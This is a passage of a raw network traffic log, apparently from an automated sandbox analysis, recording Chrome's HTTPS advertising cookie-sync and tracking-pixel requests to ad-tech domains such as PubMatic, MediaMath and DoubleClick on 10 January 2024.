X0sduB28bi3nXn0MfCMGYskh0eTtRg9OigmxM--AIaHu61iKPANsjDXlZlEMTdtOKix5op9BXwKAdyD8Qir4srhuXfD4jPCuhRft3JhxIjQwsHAVVOBg0-IMZZQeO4BqP03u6bUYGslEG4DlPCXwVwZQAC39B2QwOp&trackingid=04a631c1403c686257d99a5a93eaf1a7&sp=Z8J0lIQbohIVEcPuC1ZmaSg7SNIelZzp9RcI_8xr8AI&cbvp=2 HTTP/1.1 Host: trace.mediago.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __mguid_=22210ca7d904fe7322qnsv00lr8eukx3
2024-01-10 23:27:29 UTC	209	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.4	50507	74.121.140.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	872	OUT	GET /sync/img?mt_exid=74&redir=https%3A%2F%2Fsync.1rx.io%2Fusersync3%2Fmediamathtest%2F1508%2F%5BMM_UUID%5D%3Fzcc%3D0%26sspret%3D1&rndcb=1164739255 HTTP/1.1 Host: sync.mathtag.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid=d579659f-27da-4200-92f9-660cb89fa4ac
2024-01-10 23:27:29 UTC	494	IN	HTTP/1.1 302 Moved Temporarily Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Server: MT3 1237 600843f master iad iad-pixel-x9 config_version:"289" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" location: https://sync.1rx.io/usersync3/mediamathtest/1508/d579659f-27da-4200-92f9-660cb89fa4ac?zcc=0&sspret=1 Expires: Wed, 10 Jan 2024 23:27:28 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.4	50509	54.85.14.136	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	756	OUT	GET /s/75145?bidder_id=195755&bidder_uuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&_li_chk=true&previous_uuid=3b659a55487043e2ac063f9936cf3c4b HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=3b659a55-4870-43e2-ac06-3f9936cf3c4b
2024-01-10 23:27:29 UTC	633	IN	HTTP/1.1 303 See Other Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Length: 0 Connection: close Location: https://dis.criteo.com/dis/usersync.aspx?r=77&p=311&cp=liveintent&cu=1&url=https://i.liadm.com/s/28292?bidder_id%3D71340%26bidder_uuid%3D@@CRITEO_USERID@@ Set-Cookie: _li_ss=CggKBgjdARD4Fg; Max-Age=2592000; Expires=Fri, 09 Feb 2024 23:27:29 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=3b659a55-4870-43e2-ac06-3f9936cf3c4b; Max-Age=63072000; Expires=Fri, 09 Jan 2026 23:27:29 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 2 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.4	50510	52.22.57.218	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	766	OUT	GET /?io.narrative.guid.v2=d1fd71f0-b00f-11ee-b039-16c962239a11&companyId=673&id=pubmatic_id:AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: io.narrative.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: io.narrative.guid.v2=d1fd71f0-b00f-11ee-b039-16c962239a11
2024-01-10 23:27:29 UTC	242	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Date: Wed, 10 Jan 2024 23:27:29 GMT Server: nginx/1.22.1 Set-Cookie: io.narrative.guid.v2=d1fd71f0-b00f-11ee-b039-16c962239a11; Max-Age=47278080; SameSite=None; Secure Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.4	50511	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	4019	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU94c5f6bfc10e4266866ca02b6e163de0 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929248; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; PugT=1704929248
2024-01-10 23:27:29 UTC	695	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 24-Jan-2024 23:27:28 GMT; path=/ Set-Cookie: PugT=1704929248; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:28 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:29 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.4	50513	52.46.155.104	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	456	OUT	GET /ecm3?ex=rubiconprojectHMT&id=Yid5ajjfTX6tVeYh4L78ow&gdpr=0 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
2024-01-10 23:27:29 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: PCRZKZJ3D1ZFYQQ80KMD Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.4	50512	162.248.18.34	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	3812	OUT	GET /AdServer/SPug?partnerID=156078&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929248; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; PugT=1704929248
2024-01-10 23:27:29 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:29 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1704929249; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:29 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.4	50514	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	3718	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODImdGw9MTU3NjgwMCZkcF9pZD0yMg==&piggybackCookie=8266606981038422920&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929248; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; PugT=1704929248
2024-01-10 23:27:29 UTC	644	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:29 GMT; path=/ Set-Cookie: PugT=1704929249; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:29 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:29 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.4	50516	172.253.62.157	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	596	OUT	GET /pixel?google_nid=rp&google_hm=TFI4RVVHMTItMUYtNUpHNA==&google_push=&gdpr=0 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:29 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Wed, 10 Jan 2024 23:27:29 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
